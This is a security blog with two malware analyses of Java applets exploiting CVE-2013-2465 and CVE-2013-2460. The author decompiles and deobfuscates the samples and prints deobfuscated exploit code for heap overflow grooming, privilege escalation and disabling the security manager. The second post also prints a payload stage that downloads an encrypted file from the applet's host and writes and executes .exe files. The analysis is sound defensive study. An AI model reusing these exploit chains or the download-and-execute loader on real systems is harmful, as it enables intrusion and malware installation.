Showing posts with label analysis. Show all posts
Showing posts with label analysis. Show all posts

Tuesday, November 25, 2014

Another Java malicious applet, using CVE-2013-2465 exploit

This applet is based on CVE-2013-2465 exploit.
Its MD5 is edd9d9225738e7f76dd8e8c02527b4ed.
By using Procyon decompiler it is possible to recover the applet's sources.
/root_dir/ | |__Lookback.java |__Main.java |__diam.java |__real.java |__tutu.java |__vile.java
The applet's entry point is method Main.init(). @Override public void init() { try { Main.Pibk = this.getCodeBase().toString(); final DataBufferByte dataBufferByte = new DataBufferByte(4); final String sack = sack("setSecurir3c23v2rrbe", "r3c23v2rrbe", "tyManager"); final Statement statement = new Statement(System.class, sack, new Object[1]); final tutu tutu = new tutu(); final DataBufferByte play = tutu.play(statement.getTarget(), sack, vile.diag(cera())); final BufferedImage bufferedImage = new BufferedImage(4, 1, 2); diam.sons(bufferedImage); final String sack2 = sack("crr3c23v2rrbeatr3c23v2rrbeWritablr3c23v2rrbeRastr3c23v2rrber", "r3c23v2rrbe", "e"); tutu.bury(bufferedImage, (BufferedImage)real.glee(burs(mayo("Raster"), sack2, null, new Class[] { SampleModel.class, DataBuffer.class, Point.class }, new Object[] { new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44), play, null }), kegs(mayo(sack2.substring(6))))); tutu.fume(); tutu.hops(); foty(); } catch (Exception ex) {} }
A brief look at the code shows the use of minor obfuscation. Indeed, strings are stored in an encrypted form and they are then decrypted at run time. The decryption routine appears to be Main.sack(String, String, String) and, as it is easy to guess, it just substitutes a given part of the string with another one. public static String sack(final String s, final String target, final String replacement) { return "" + s.replace(target, replacement); }
Manual deobfuscation seems to be a good choice in this case. However, since the current version of dex2jar's string decryption tool is now able to deal with decryption routines that use multiple parameters, an automatic approach can be adopted. The entire jar can thus be easily patched and then analysed with all the strings in plaintext form. Another static routine, based on Main.sack(String, String, String), adds some obfuscation. It can be simplified by using the same procedure. static String mayo(final String str) { return sack("javar3c23v2rrbeawtr3c23v2rrbeimager3c23v2rrbe", "r3c23v2rrbe", ".") + str; }
The following is the result on the entry point method. @Override public void init() { try { Main.Pibk = this.getCodeBase().toString(); final DataBufferByte dataBufferByte = new DataBufferByte(4); final String methodName = "setSecurityManager"; final Statement statement = new Statement(System.class, methodName, new Object[1]); final tutu tutu = new tutu(); final DataBufferByte play = tutu.play(statement.getTarget(), methodName, vile.diag(cera())); final BufferedImage bufferedImage = new BufferedImage(4, 1, 2); diam.sons(bufferedImage); final String s = "createWritableRaster"; tutu.bury(bufferedImage, (BufferedImage)real.glee(burs("java.awt.image.Raster", s, null, new Class[] { SampleModel.class, DataBuffer.class, Point.class }, new Object[] { new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44), play, null }), kegs(mayo(s.substring(6))))); tutu.fume(); tutu.hops(); foty(); } catch (Exception ex) {} }
It's interesting to note that, after deobfuscation, Procyon decompiler was able to track the use of String sack variable, thus changing its name to methodName.
Other than string encryption, a quite deep control-flow obfuscation can be observed. Indeed, code is scattered across custom classes and methods. As a consequence, a significant amount of work is needed to reconstruct the original listing. This kind of obfuscation is rather effective both to hinder a static analysis (e.g. attacks against "intellectual property") and to differentiate the malware sample (e.g. to avoid AV detection).


Exploit

CVE-2013-2465 exploit affects Java versions prior to 7u25. Detailed analyses and a PoC can be easily found on the web; in fact, I conducted this analysis as a personal exercise. However, while comparing Packet Storm's PoC with the malware sample, I noticed some differences in how the exploit is conducted. Thus, the added value of this analysis may be represented by the comparison between the PoC and a malware that operates in the wild. For readability reasons, various statements are slighty modified (mainly de-inlined), if compared to the original decompiled code.

The CVE-2013-2465 vulnerability is located within the native storeImageArray() function, inside jre/bin/awt.dll. This routine calls the memcpy() function to copy some image data between two memory locations, using an offset value to locate data that should be copied. The destination address (cDataP) is calculated by adding the offset (hintP->dataOffset) to the destination buffer's address. By modifying cDataP's value it is possible to write outside of the destination buffer, thus overwriting the address space of other objects.
// see ...\jdk\src\share\native\sun\awt\image\awt_parseImage.c static int storeImageArray(JNIEnv *env, BufImageS_t *srcP, BufImageS_t *dstP, mlib_image *mlibImP) { int mStride; unsigned char *cmDataP, *dataP, *cDataP; HintS_t *hintP = &dstP->hints; RasterS_t *rasterP = &dstP->raster; int y; ... if (hintP->packing == BYTE_INTERLEAVED) { // Write it back to the destination cmDataP = (unsigned char *) mlib_ImageGetData(mlibImP); mStride = mlib_ImageGetStride(mlibImP); dataP = (unsigned char *)(*env)->GetPrimitiveArrayCritical(env, rasterP->jdata, NULL); if (dataP == NULL) return 0; cDataP = dataP + hintP->dataOffset; for (y=0; y < rasterP->height; y++, cmDataP += mStride, cDataP += hintP->sStride) { memcpy(cDataP, cmDataP, rasterP->width*hintP->numChans); } } ... }
As pointed out earlier, cDataP depends on two variables, dataP and hintP->dataOffset. The object that can be used to access these variables is BytePackedRaster.
data can be accessed by the byte[] data field of the sun.awt.image.BytePackedRaster object; the data field contains the image's data array.
hintP->dataOffset can be accessed by the int dataBitOffset field; it stores the data bit offset for each pixel of the represented image. Both these fields are initialised within BytePackedRaster's constructor.
// see ...\jdk\src\share\classes\sun\awt\image\BytePackedRaster.java public BytePackedRaster(SampleModel sampleModel, DataBuffer dataBuffer, Rectangle aRegion, Point origin, BytePackedRaster parent){ super(sampleModel,dataBuffer,aRegion,origin, parent); this.maxX = minX + width; this.maxY = minY + height; if (!(dataBuffer instanceof DataBufferByte)) { throw new RasterFormatException("BytePackedRasters must have" + "byte DataBuffers"); } DataBufferByte dbb = (DataBufferByte)dataBuffer; this.data = stealData(dbb, 0); //<-------data if (dbb.getNumBanks() != 1) { throw new RasterFormatException("DataBuffer for BytePackedRasters"+ " must only have 1 bank."); } int dbOffset = dbb.getOffset(); if (sampleModel instanceof MultiPixelPackedSampleModel) { //MultiPixelPackedSampleModel object needed MultiPixelPackedSampleModel mppsm = (MultiPixelPackedSampleModel)sampleModel; this.type = IntegerComponentRaster.TYPE_BYTE_BINARY_SAMPLES; pixelBitStride = mppsm.getPixelBitStride(); if (pixelBitStride != 1 && pixelBitStride != 2 && pixelBitStride != 4) { throw new RasterFormatException ("BytePackedRasters must have a bit depth of 1, 2, or 4"); } scanlineStride = mppsm.getScanlineStride(); dataBitOffset = mppsm.getDataBitOffset() + dbOffset*8; //<-------dataBitOffset int xOffset = aRegion.x - origin.x; int yOffset = aRegion.y - origin.y; dataBitOffset += xOffset*pixelBitStride + yOffset*scanlineStride*8; bitMask = (1 << pixelBitStride) -1; shiftOffset = 8 - pixelBitStride; } else { throw new RasterFormatException("BytePackedRasters must have"+ "MultiPixelPackedSampleModel"); } verify(false); }
It can be seen that data depends on the DataBufferByte object, i.e. the image's data array.
On the other hand, dataBitOffset is calculated based both on the SampleModel object (which has to be an instance of MultiPixelPackedSampleModel) and the DataBufferByte object. The vulnerability is exploited by creating a MultiPixelPackedSampleModel object with an unusually big dataBitOffset. In fact, dataBitOffset's value is not checked while the object is created, thus being assigned to the dataBitOffset field of BytePackedRaster object, as shown in the code above.
Once the dataBitOffset is initialised, its value is then validated through the verify() function. This routine is not very strict, since it is possible to set dataBitOffset roughly 8 times data.length. private void verify (boolean strictCheck) { // Make sure data for Raster is in a legal range if (dataBitOffset < 0) { throw new RasterFormatException("Data offsets must be >= 0"); } int lastbit = (dataBitOffset + (height-1) * scanlineStride * 8 + (width-1) * pixelBitStride + pixelBitStride - 1); if (lastbit / 8 >= data.length) { throw new RasterFormatException("raster dimensions overflow " + "array bounds"); } if (strictCheck) { if (height > 1) { lastbit = width * pixelBitStride - 1; if (lastbit / 8 >= scanlineStride) { throw new RasterFormatException("data for adjacent" + " scanlines overlaps"); } } } }
Since the BytePackedRaster class cannot be accessed directly, Java public method java.awt.image.Raster.createWritableRaster(MultiPixelPackedSampleModel sm, DataBuffer destination, Point p) is used to create the BytePackedRaster object. The approach used by the exploit is as follows.

First, a "dummy call" is performed in order to initialise the Statement class. A powerful AccessControlContext object is then created. It will be later used to overwrite the acc field of an unprivileged Statement object, to elevate its privileges. //"dummy call for init" final Statement statement = new Statement(System.class, "setSecurityManager", new Object[1]); final Class permissionsClass = Class.forName("java.security.Permissions"); final Class allPermissionClass = Class.forName("java.security.AllPermission"); final Class permissionClass = Class.forName("java.security.Permission"); final Class protectionDomainClass = Class.forName("java.security.ProtectionDomain"); //CodeSource object: it refers to source code files on any path final CodeSource codeSource = new CodeSource(new URL("file:///"), (Certificate[])null); //a Permission object is created and supplied with an AllPermission object, thus granting all permissions final Object gibe = permissionsClass.getConstructor((Class<?>[])new Class[0]).newInstance(new Object[0]); final Object alp = allPermissionClass.getConstructor((Class<?>[])new Class[0]).newInstance(new Object[0]); permissionsClass.getMethod("add", new Class[] {permissionClass}).invoke(gibe, new Object[] {alp}); //a ProtectionDomain object is created based on the CodeSource and Permissions objects final Object ceraobj = protectionDomainClass.getConstructor((Class<?>[])new Class[] {CodeSource.class, PermissionCollection.class}).newInstance(new Object[] {codeSource, gibe}); //finally, a powerful AccessControlContext is created AccessControlContext acc = new AccessControlContext(new ProtectionDomain[] {(ProtectionDomain)ceraobj});
Both in the PoC and in the malware sample, a set of instructions is used to create the overflow environment. Since it is a heap overflow, various objects are created in a strict order. The malware sample allocates memory in a different manner in respect to the PoC. First, a call to the garbage collector is performed, probably to clean the heap in order to start with cleaner memory. Then, 256 arrays of type int[8] are allocated on the heap, placing the destination buffer in between of them. After them, 256 custom objects are allocated. //call to garbage collector Runtime.getRuntime().gc(); real[] pace = new real[256]; int[][] tour = new int[256][]; //an array of int[8] is created for (int i = 0; i < tour.length; ++i) { tour[i] = new int[8]; if (i == 128) { //after 128 array objects out of 256, memory is allocated for the destination image's buffer final DataBufferByte play = new DataBufferByte(16); } } //256 custom objects are created. //each object starts with a int field, with value -559035650 (0xDEADCAFE), useful to recognise the objects later for (int j = 0; j < pace.length; ++j) { pace[j] = new real(statement.getTarget(), "setSecurityManager", acc); pace[j].poet = new Statement(System.class, "setSecurityManager", new Object[1]); } //custom class class real { public volatile int tubo; public volatile Object pane; public volatile String lira; public volatile Statement poet; public volatile Object fury; public volatile Object howl; public real(final Object pane, final String lira, final Object fury) { super(); this.tubo = this.bush(); this.pane = pane; this.lira = lira; this.fury = fury; } int bush() { return -559035650; } }
This leads to the following memory configuration. Object type Memory (ascending) ================= ================== int[8] 128 objects * 32 Byte each one DataBufferByte a single object * 64 Byte int[8] 128 objects * 32 Byte each one real custom class 256 objects * 60 Byte each one real custom object: Field name Field type Value ========== ==================== ===== tubo int 0xDEADCAFE pane Class points to the following Statement's System.class lira String "setSecurityManager" poet Statement a default Statement object, using a default AccessControlContext fury AccessControlContext the privileged AccessControlContext object howl Object null
On the other hand, the PoC is more minimalist (in fact, it allocates a subset of the malware's data structures) and produces the following objects. Object type Memory (ascending) ============== ================== DataBufferByte a single object * 64 Byte int[8] a single object * 32 Byte Object[7] a single object * 112 Byte Object array: Index Field type Value ===== ==================== ===== 0 Object null 1 Object null 2 Statement a default Statement object, using a default AccessControlContext 3 AccessControlContext the privileged AccessControlContext object 4 Class points to the previous Statement's System.class 5 Object null 6 Object null
To speculate on the differences, two reasons may explain the approach used by the malware sample. First, the exploit is made more reliable, since having redundant elements it is more probable for it to find the necessary objects within a memory configuration that may be different from an execution environment to another. Second, with redundant elements it's easier to apply little changes to achieve differentiation.
The overflow is then performed by executing the AffineTransformOp.filter(BufferedImage bi1, BufferedImage bi2) method, specifying the previosly allocated DataBufferByte object as the destination of the memcpy() routine. A custom ComponentColorModel is supplied to the BufferedImage constructor, in order to fool the if (hintP->packing == BYTE_INTERLEAVED) check within the storeImageArray() function. The source image is carefully constructed, in order to control the data that will overflow from the destination buffer. Indeed, the first pixel of the source image is crafted to look like 0xFFFFFF7F in memory (0xFFFFFFFF in the PoC). This value overwrites the following int[8]'s length field. As a consequence, by using the modified array it is possible to point to memory locations far beyond the array's original memory. //helper class 1 class diam extends ComponentColorModel { public diam(final ICC_Profile icc_Profile) { super(new vile(icc_Profile), new int[] {8, 8, 8}, false, false, 1, 0); } //if (hintP->packing == BYTE_INTERLEAVED) can be fooled by always returning true @Override public boolean isCompatibleRaster(final Raster raster) { return true; } } //helper class 2 class vile extends ICC_ColorSpace { public vile(final ICC_Profile profile) { super(profile); } @Override public int getNumComponents() { return 1; } } //a regular source image is created final BufferedImage src_bufferedImage = new BufferedImage(4, 1, 2); //first pixel is set, to overwrite the 129th int[8] array's length with 0xFFFFFF7F final Class writableRaster = Class.forName("java.awt.image.WritableRaster"); writableRaster.getMethod("setPixel", new Class[] {Integer.TYPE, Integer.TYPE, int[].class}).invoke(src_bufferedImage.getRaster(), new Object[] {0, 0, {-1, -1, -1, 127}}); final Class raster = Class.forName("java.awt.image.Raster"); final Class bufferedImage = Class.forName("java.awt.image.BufferedImage"); //createWritableRaster() makes possible to create the BytePackedRaster object. dataBitOffset is set to 44 final Object burs = raster.getMethod("createWritableRaster", new Class[] {SampleModel.class, DataBuffer.class, Point.class}).invoke(null, new Object[] {new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44), play, null}); //a custom ColorModel is provided to the BufferedImage constructor final BufferedImage dst = (BufferedImage)bufferedImage.getConstructor((Class<?>[])new Class[] {ColorModel.class, writableRaster, Boolean.TYPE, Hashtable.class}).newInstance(new Object[] {new diam(ICC_Profile.getInstance(1000)), burs, false, null}); //invocation of the vulnerable native function storeImageArray() new AffineTransformOp(new AffineTransform(1.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f), null).filter(src_bufferedImage, dst);
The patched array is located by checking its length. int i = 0; int[] lime; while (i < tour.length) { if (tour[i].length > 8) { //if > 8, length has been modified by overflow data lime = tour[i]; //the modified array with length == 0xFFFFFF7F is now assigned to lime if (lime == null) throw new Exception(); break; } else ++i; }
Once the patched array has been located, it is used to elevate the default Statement object's privileges. The custom real objects are located by using the distinctive tubo field (0xDEADCAFE). Then, two modifications are performed: the tubo field is modified into 0xCAFEDEAD, and the methodName field of the default Statement object is turned into null. Finally, the acc field of the unprivileged Statement object is overwritten with the reference to the privileged AccessControlContext object. The Statement's methodName field is restored to "setSecurityManager" and the Statement is executed, thus disabling the security manager.
As with the memory configuration, the malware performs more operations than the PoC, which, in this situation, limits itself to overwriting the acc field and executing the modified Statement object. final int n = -559035650; //0xDEADCAFE for (int n2 = 0, n3 = 0; n2 < 4096 && n3 < 10; ++n2) { if (lime[n2] == n) { //n2 points to the beginning of one of the custom objects (tubo field, 0xDEADCAFE) if (lime[n2 + 5] == 0) { //howl field, it is null lime[n2] = -889266515; //tubo = 0xCAFEDEAD final int n4 = lime[n2 + 1]; //pane field. points to the next Statement object's target (System.class) final int n5 = lime[n2 + 2]; //lira field. it contains the String "setSecurityManager" int n6; //n6 points to the acc field of the Statement object for (n6 = n2 + 5; n6 < n2 + 25 && lime[n6] != n; ++n6) { if (lime[n6 + 1] == n4) { //Statement's target is in fact equal to pane field if (lime[n6 + 2] == n5) { lime[n6 + 2] = 0; //Statement's methodName = null int i = 0; //256 times, for each custom object of the array while (i < pace.length) { //search for the custom object we just modified if (pace[i].tubo == -889266515) { //tubo field if (pace[i].poet.getMethodName() != null) { //Statement's methodName continue; } lime[n6] = lime[n2 + 4]; //Statement's AccessControlContext is now fury lime[n6 + 2] = n5; //Statement's methodName is restored to "setSecurityManager" try { //call System.setSecurityManager(null) by the execute() method pace[i].poet.execute(); return; //GO TO PAYLOAD } catch (Exception ex) { ++i; continue; } break; } } } } } n2 = n6; ++n3; } } } throw new Exception();

Payload

The exploit's description has been rather long and, fortunately, there is not much to say about the payload. Indeed, it is equivalent to the one of the CVE-2013-2460-based malware I analysed a couple of months ago. Thus, the payload description may be read there. Considering the similarities, both these malwares may have been assembled by the same entity, who added the same payload mechanism to both.

Friday, October 3, 2014

Analysis of a Java malicious applet that uses CVE-2013-2460 exploit

The analysed sample is a JavaFX serialized applet based on CVE-2013-2460 exploit.
Its MD5 is 43a00a7396cfe8bfdf7ef8ec2008e898.
The applet can be successfully decompiled by using Procyon decompiler, which outputs the following source files.
/root_dir/ | |__/Dt/ | |__Paor.java | |__/i/ | |__Tsh.java | |__Tv.java | |__/vo/ | |__Taspom.java | |__Tvo.java | |__Coder.java |__Main.java |__Ni.java
The entry point of the application is the method Main.start().
public void start(final Stage paramStage) throws Exception { try { Main.Ijt = this.getHostServices().getCodeBase(); Deppv(); final ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream(); Deppv(); Main.arrayOfByte = new byte[8192]; Deppv(); Deppv(); final InputStream localInputStream = this.getClass().getResourceAsStream("/vo/Taspom.class"); Deppv(); final String b = Taspom.Nosik("sun.1rg.mozilla.javascript.internal.Generat2d") + Paor.cls + "Loader"; Deppv(); Deppv(); Deppv(); int i; while ((i = localInputStream.read(Main.arrayOfByte)) > 0) { Deppv(); localByteArrayOutputStream.write(Main.arrayOfByte, 0, i); } Deppv(); Main.arrayOfByte = localByteArrayOutputStream.toByteArray(); Deppv(); localByteArrayOutputStream.close(); Deppv(); Deppv(); localInputStream.close(); Deppv(); Deppv(); final ProviderFactory localProviderFactory = ProviderFactory.getDefaultFactory(); Deppv(); this.invoc = Proxy.getInvocationHandler(Coder.Lol(localProviderFactory)); this.Fovon(2, b); } catch (Throwable t) {} }
Minor obfuscation can be observed. Some strings are modified by substituting some of their characters with numbers. Function Taspom.Nosik(String) is the "decryption" routine.
public static String Nosik(final String src) { String res = ""; for (int i = 0; i < src.length(); ++i) { if (src.charAt(i) == '1') { res += "o"; } else if (src.charAt(i) == '2') { res += "e"; } else if (src.charAt(i) == '5') { res += "m"; } else if (src.charAt(i) == '8') { res += "a"; } else { res += src.charAt(i); } } return res; }
A bogus function, Deppv(), is scattered across the code, doing nothing more than declaring and initializing a float variable to a static value.
public static void Deppv() { final Double f = 3.232; }
It can be reasonably assumed that the obfuscation's goal is more to hinder an automatic analysis rather than a manual approach.
Once executed, the applet stores in Main.Ijt its code base, that is, the path in which the applet is saved. It is later used to refer to payload files, which are stored on the same path as the applet's.


Exploit

CVE-2013-2460 exploit affects Java 7u21 and earlier versions; it is based on an insecure use of java.lang.reflect.Method.invoke(Object obj, Object... args) method within sun.tracing.ProviderSkeleton.invoke(Object proxy, Method method, Object[] args) method. Indeed, no check is performed on the invoked methods, and, since this class is privileged, it can be leveraged to invoke a static user-provided method that changes the applet's security settings (e.g. disable the security manager). As a consequence, arbitrary code can then be executed.
This vulnerability has been described and exploited by Security Explorations in 2012; they refer to it as "Issue #61". A ready-to-use PoC is provided by Security Explorations. However, although an unobfuscated PoC does exist, I extracted and deobfuscated the exploit's code from the malicious applet as an exercise.

The exploitation begins by creating an instance of the privileged class that owns the vulnerable method. The object is obtained through a call to createProvider() static method, that is performed by using com.sun.tracing.ProviderFactory class. An interface (Ni.class) is provided as a parameter. The interface does not add any functionality and, as a consequence, a sun.tracing.NullProvider object is obtained as result. Since NullProvider's superclass is sun.tracing.ProviderSkeleton, this object is able to execute the vulnerable invoke() method of its superclass. An invocation handler is then obtained from the NullProvider object. The invoc object can be used to invoke methods with NullProvider's privileges.
public interface Ni extends Provider {} final ProviderFactory localProviderFactory = ProviderFactory.getDefaultFactory(); Class pf = Class.forName("com.sun.tracing.ProviderFactory"); Provider provider = pf.getMethods()[1].invoke(localProviderFactory, Ni.class); //createProvider() InvocationHandler invoc = Proxy.getInvocationHandler(provider);
The exploit's goal is to access restricted classes in order to load and execute user-provided code in a privileged manner. To accomplish that, references to these classes, along with references to their methods, have to be obtained. By using the privileged object invoc, a call to forName() method is performed.
final Method localMethod2 = Class.class.getMethod("forName", String.class); final Class localClass3 = (Class)invoc.invoke(null, localMethod2, new Object[] {"sun.org.mozilla.javascript.internal.Context"}); final Class localClass4 = (Class)invoc.invoke(null, localMethod2, new Object[] {"sun.org.mozilla.javascript.internal.GeneratedClassLoader"});
A Lookup object is created in order to obtain method's references, by using the vulnerable class as a proxy. Methods Lookup.findStatic() and Lookup.findVirtual() are used. A convenience routine is used to perform the lookup for all three methods.
public static MethodHandle getMethodHandle(final Class c, final String name, final Class c2, final Class[] ca, final boolean isstatic) throws Exception { final MethodType localMethodType = MethodType.methodType(c2, ca); Class localClass = Class.forName("java.lang.invoke.MethodHandles$Lookup"); if (isstatic) { Method findstatic = localClass.getMethod("findStatic", Class.class, String.class, MethodType.class); return (MethodHandle)findstatic.invoke(look, c, name, localMethodType); } else { Method findvirtual = localClass.getMethod("findVirtual", Class.class, String.class, MethodType.class); return (MethodHandle)findvirtual.invoke(look, c, name, localMethodType); } } //a Lookup object is obtained final Method localMethod1 = Class.forName("java.lang.invoke.MethodHandles").getMethod("lookup", new Class[0]); look = invoc.invoke(null, localMethod1, new Object[0]); look = Class.forName("java.lang.invoke.MethodHandles$Lookup").cast(look); //methods' references are obtained by using the convenience routine getMethodHandle() final MethodHandle localMethodHandle1 = getMethodHandle(localClass3, "enter", localClass3, new Class[0], true); final MethodHandle localMethodHandle2 = getMethodHandle(localClass3, "createClassLoader", localClass4, new Class[] { Class.forName("java.lang.ClassLoader") }, false); final MethodHandle localMethodHandle3 = getMethodHandle(localClass4, "defineClass", Class.class, new Class[] { String.class, byte[].class }, false);
One difference can be observed between this malware's exploit and the PoC provided by Security Explorations. Indeed, their call to sun.org.mozilla.javascript.internal.DefiningClassLoader.defineClass() is replaced here by a call to sun.org.mozilla.javascript.internal.GeneratedClassLoader.defineClass(). However, this difference does not affect the exploit's effectiveness, since it works both ways.

Finally, a new classloader is defined within the current context, and a custom class (vo.Taspom) is loaded into it as a byte array.
//invocation of sun.org.mozilla.javascript.internal.Context.enter() final Object localObject1 = localMethodHandle1.invoke(); //invocation of sun.org.mozilla.javascript.internal.Context.createClassLoader() final Object localObject2 = localMethodHandle2.invoke(localObject1, (Void)null); //invocation of sun.org.mozilla.javascript.internal.GeneratedClassLoader.defineClass() final Class localClass = (Class)localMethodHandle3.invoke(localObject2, "vo.Taspom", arrayOfByte); //the auxiliary class is executed localClass.newInstance();
Since the auxiliary class disables the security manager, it is now possible to execute arbitrary code at system level.
package vo; import java.security.*; //auxiliary class provided as a byte array public class Taspom implements PrivilegedExceptionAction { public Taspom() { super(); try { AccessController.doPrivileged((PrivilegedExceptionAction<Object>)this); } catch (Exception ex) {} } public Object run() { try { System.setSecurityManager(null); } catch (Exception ex) {} return null; } }

Payload

Once exploitation is completed, a byte array is written into a .class file and then executed. Firstly, the byte array is reversed and decoded.
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; String ftuc = new StringBuilder("=UGACAAAAQGABAgVAAAABAgBAAAA[...]AuAgCmBwLAoQuAEDAAAgv").reverse().toString(); final byte[] arrayOfByte = Base64.decode("yv66".concat(ftuc));
Then, the byte stream is written into a file called Interface.class, within the system's temp directory.
tmp = System.getProperty("java.io.tmpdir"); final Class fos = Class.forName("java.io.FileOutputStream"); final Object localObject = fos.getConstructor(String.class).newInstance(tmp + "Interface.class"); Method write = fos.getMethod("write", byte[].class, Integer.TYPE, Integer.TYPE); write.invoke(localObject, arrayOfByte, 0, arrayOfByte.length); fos.getMethods()[3].invoke(localObject, new Object[0]); //localObject.close()
The application's code base is retrieved as soon as the applet starts. It is then passed to the payload .class file as a parameter. Main.Ijt = this.getHostServices().getCodeBase(); //payload class is launched: typically the command is 'javaw -cp c:\temp\Interface <codeBase>' Runtime.getRuntime().exec("javaw -cp " + tmp + " Interface " + Main.Ijt.toString());
The byte stream which acts as a payload can be easily copied into a file and then decompiled, without having to execute the applet's code.
The entry point of Interface.class is its main() method. Some data is read from an mp3 file, which is located in the applet's code base. //current time, e.g. "223306" for 06:22:33 String name = (new SimpleDateFormat("mmssHH")).format(Calendar.getInstance().getTime()); ByteArrayOutputStream bais = new ByteArrayOutputStream(); BufferedInputStream in = null; byte[] ar; int xcvnwe; //it reads the content of a mp3 file, storing it in bais try { //the mp3 file is in the same path of the jar application (its code base) in = new BufferedInputStream((new URL(args[0] + name + ".mp3")).openStream()); ar = new byte[1024]; while ((xcvnwe = in.read(ar)) > 0) bais.write(ar, 0, xcvnwe); } finally { if (in != null) in.close(); }
The resulting byte stream is then XOR decrypted, by means of Tenui() routine. //XOR decryption routine public static byte[] Tenui(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2) { byte[] arrayOfByte = new byte[paramArrayOfByte1.length]; for(int i = 0; i < paramArrayOfByte1.length; ++i) arrayOfByte[i] = (byte)(paramArrayOfByte1[i] ^ paramArrayOfByte2[i % paramArrayOfByte2.length]); return arrayOfByte; } ar = Tenui(bais.toByteArray(), "m3S4V".getBytes());
Depending on the byte array's data, one of two possible actions is undertaken: in the first case, data is written into an .exe file which is then executed. In the second case, data is splitted between two different .exe files. Both of them are then executed. //xcvnwe's value depends on the byte array xcvnwe = Ulma(ar, "c3j2S".getBytes()); byte[][] fasx = new byte[2][]; if(xcvnwe == -5) { //writes a subset of ar's data in the exe file and executes it Suhra(ar, name); } else { //splits the data between the first exe file and a second one (called e.g. "2233"), and executes them fasx[0] = Arrays.copyOfRange(ar, 0, xcvnwe); fasx[1] = Arrays.copyOfRange(ar, xcvnwe + 5, ar.length); String name1 = (new SimpleDateFormat("mmss")).format(Calendar.getInstance().getTime()); Suhra(fasx[0], name); Suhra(fasx[1], name1); } //the "launcher" routine public static void Suhra(byte[] ar, String name) throws Exception { String ss = System.getProperty("java.io.tmpdir") + name + ".exe"; FileOutputStream fout = new FileOutputStream(ss); fout.write(ar); fout.close(); Runtime r = Runtime.getRuntime(); r.exec(ss); }
Since the mp3 file was not bundled along with the applet, no further analysis is possible. However, this sample made possible to study both the exploit and some inner workings of a two-stage-payload malware.